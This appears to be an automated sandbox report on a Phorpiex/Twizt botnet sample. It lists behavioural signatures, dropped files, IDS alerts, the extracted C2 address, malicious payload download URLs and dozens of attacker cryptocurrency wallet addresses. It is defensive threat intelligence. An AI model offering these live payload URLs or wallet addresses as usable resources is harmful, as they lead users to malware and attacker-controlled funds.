Edit tour

Windows Analysis Report
gEkl9O5tiu.exe

Overview

General Information

Sample Name:	gEkl9O5tiu.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	2ea6c5e97869622dfe70d2b34daf564e
Analysis ID:	1292729
MD5:	2ea6c5e97869622dfe70d2b34daf564e
SHA1:	45500603bf8093676b66f056924a71e04793827a
SHA256:	5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3
Infos:

Detection

Phorpiex

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Phorpiex

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Found evasive API chain (may stop execution after checking mutex)

Contains functionality to determine the online IP of the system

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

May check the online IP address of the machine

Contains functionality to modify clipboard data

Send many emails (e-Mail Spam)

Machine Learning detection for dropped file

Writes a notice file (html or txt) to demand a ransom

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Contains functionality to detect sleep reduction / modifications

Contains functionality to check if Internet connection is working

Uses 32bit PE files

Tries to disable installed Antivirus / HIPS / PFW

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Installs a raw input device (often for capturing keystrokes)

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses SMTP (mail sending)

Found evaded block containing many API calls

PE file contains more sections than normal

Found evasive API chain (may stop execution after accessing registry keys)

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

May check if the current machine is a sandbox (GetTickCount - Sleep)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

gEkl9O5tiu.exe (PID: 1580 cmdline: C:\Users\user\Desktop\gEkl9O5tiu.exe MD5: 2EA6C5E97869622DFE70D2B34DAF564E)

2550821914.exe (PID: 680 cmdline: C:\Users\user\AppData\Local\Temp\2550821914.exe MD5: 90CBEADCDA0AD6D4302C36AA9FD2A53C)

sysesvcmw.exe (PID: 1384 cmdline: C:\Windows\ sysesvcmw.exe MD5: 90CBEADCDA0AD6D4302C36AA9FD2A53C)

1925824589.exe (PID: 1708 cmdline: C:\Users\user\AppData\Local\Temp\1925824589.exe MD5: 4F74BC597A7FA3989EC09EEFA2A3D00A)

150623101.exe (PID: 956 cmdline: C:\Users\user\AppData\Local\Temp\150623101.exe MD5: 0D539E8277F20391A31BABFF8714FDB0)

2465513676.exe (PID: 9636 cmdline: C:\Users\user\AppData\Local\Temp\2465513676.exe MD5: 41AB08C1955FCE44BFD0C76A64D1945A)

sysesvcmw.exe (PID: 1840 cmdline: "C:\Windows\ sysesvcmw.exe" MD5: 90CBEADCDA0AD6D4302C36AA9FD2A53C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Malware Configuration

Threatname: Phorpiex

{"C2 url": "http://185.215.113.66/", "Wallet": ["1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6", "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL", "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX", "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH", "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709", "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU", "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd", "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2", "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ", "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg", "SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ", "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ", "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury", "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn", "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3", "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw", "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f", "inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym", "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj", "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH", "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v", "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn", "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6", "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7", "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd", "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr", "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4", "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw", "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4", "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE", "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N", "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\2550821914.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Windows\ sysesvcmw.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000000.399820477.0000000000410000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000005.00000000.379469431.0000000000410000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000000.370252775.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: 2550821914.exe PID: 680	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysesvcmw.exe PID: 1384	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysesvcmw.exe PID: 1840	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
4.0.2550821914.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
6.2. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
5.2. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
4.2.2550821914.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
5.0. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
6.0. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 1 entries

Snort Signatures

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 31.58.71.101

Timestamp:	192.168.2.2231.58.71.10154823405002044077 08/17/23-14:33:03.293413
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 182.177.175.241

Timestamp:	192.168.2.22182.177.175.24154823405002044077 08/17/23-14:32:48.270504
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 188.213.181.163

Timestamp:	192.168.2.22188.213.181.16354823405002044077 08/17/23-14:33:08.309919
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 192.168.1.145

Timestamp:	192.168.2.22192.168.1.14554823405002044077 08/17/23-14:32:08.081550
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 2.180.154.243

Timestamp:	192.168.2.222.180.154.24354823405002044077 08/17/23-14:32:43.263228
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 91.98.7.42

Timestamp:	192.168.2.2291.98.7.4254823405002044077 08/17/23-14:32:53.279443
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 2.180.17.91

Timestamp:	192.168.2.222.180.17.9154823405002044077 08/17/23-14:32:23.198989
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 185.177.0.201

Timestamp:	192.168.2.22185.177.0.20154823405002044077 08/17/23-14:32:13.184875
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 2.185.229.68

Timestamp:	192.168.2.222.185.229.6854823405002044077 08/17/23-14:32:18.190445
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 2.176.69.250

Timestamp:	192.168.2.222.176.69.25054823405002044077 08/17/23-14:32:38.244092
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 178.236.111.156

Timestamp:	192.168.2.22178.236.111.15654823405002044077 08/17/23-14:32:33.222711
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.22 - Destination IP: 59.91.192.117

Timestamp:	192.168.2.2259.91.192.11754823405002044077 08/17/23-14:32:03.067553
SID:	2044077
Source Port:	54823
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.0.2550821914.exe.400000.0.unpack

Malware Configuration Extractor: Phorpiex {"C2 url": "http://185.215.113.66/", "Wallet": ["1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6", "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL", "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX", "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH", "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709", "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU", "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd", "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2", "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ", "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg", "SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ", "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ", "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury", "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn", "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3", "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw", "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f", "inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym", "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj", "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH", "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v", "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn", "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6", "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7", "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd", "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr", "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4", "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw", "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4", "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE", "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N", "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA"]}

Multi AV Scanner detection for submitted file

Source: gEkl9O5tiu.exe	ReversingLabs: Detection: 47%
Source: gEkl9O5tiu.exe	Virustotal: Detection: 57%			Perma Link

Antivirus detection for URL or domain

Source: http://185.215.113.66/from/n.txt	Avira URL Cloud: Label: malware
Source: Http://185.215.113.66/5	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/706.txtn	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/getxmr	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1bbC:	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/http://185.215.113.66/from/n.txtB	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/getxmr%	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/4	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.php%temp%%s	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2u9o0b7n	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/3	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/5G	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.php;O	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/n.txtz	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/nxmr.exe	Avira URL Cloud: Label: malware
Source: http://twizt.net/newtpp.exeP0	Avira URL Cloud: Label: malware
Source: http://twizt.net/newtpp.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/H	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/Tmlr	Avira URL Cloud: Label: malware
Source: http://twizt.net/newtpp.exeV	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/706.txt	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\150623101.exe

Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\nxmr[1].exe	ReversingLabs: Detection: 90%
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\2465513676.exe	ReversingLabs: Detection: 90%
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	ReversingLabs: Detection: 86%
Source: C:\Windows\ sysesvcmw.exe	ReversingLabs: Detection: 86%

Machine Learning detection for sample

Source: gEkl9O5tiu.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\ sysesvcmw.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040A870 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	4_2_0040A870
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040A870 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	5_2_0040A870
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040A870 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	6_2_0040A870

Phishing

Yara detected Phorpiex

Source: Yara match	File source: 4.0.2550821914.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.2550821914.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.399820477.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.379469431.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.370252775.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2550821914.exe PID: 680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 1384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 1840, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\2550821914.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\ sysesvcmw.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe, type: DROPPED

Source: gEkl9O5tiu.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll

Jump to behavior

Source: gEkl9O5tiu.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00404E80
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	5_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	6_2_00404FC0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 59.91.192.117:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 192.168.1.145:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 185.177.0.201:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 2.185.229.68:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 2.180.17.91:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 178.236.111.156:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 2.176.69.250:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 2.180.154.243:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 182.177.175.241:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 91.98.7.42:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 31.58.71.101:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.22:54823 -> 188.213.181.163:40500

Contains functionality to determine the online IP of the system

Source: C:\Users\user\AppData\Local\Temp\1925824589.exe

Code function: 9_2_00EA17D0 InternetOpenA,InternetOpenUrlA,InternetReadFile,wsprintfA,wsprintfA,InternetCloseHandle,wsprintfA,InternetCloseHandle, http://icanhazip.com/

9_2_00EA17D0

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	DNS query: name: icanhazip.com
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	DNS query: name: icanhazip.com

Contains functionality to check if Internet connection is working

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00409540 htons,socket,connect,getsockname, www.update.microsoft.com	4_2_00409540
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00409540 htons,socket,connect,getsockname, www.update.microsoft.com	5_2_00409540
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00409540 htons,socket,connect,getsockname, www.update.microsoft.com	6_2_00409540

Source: Joe Sandbox View

IP Address: 104.47.18.161 104.47.18.161

Source: unknown

Network traffic detected: DNS query count 484

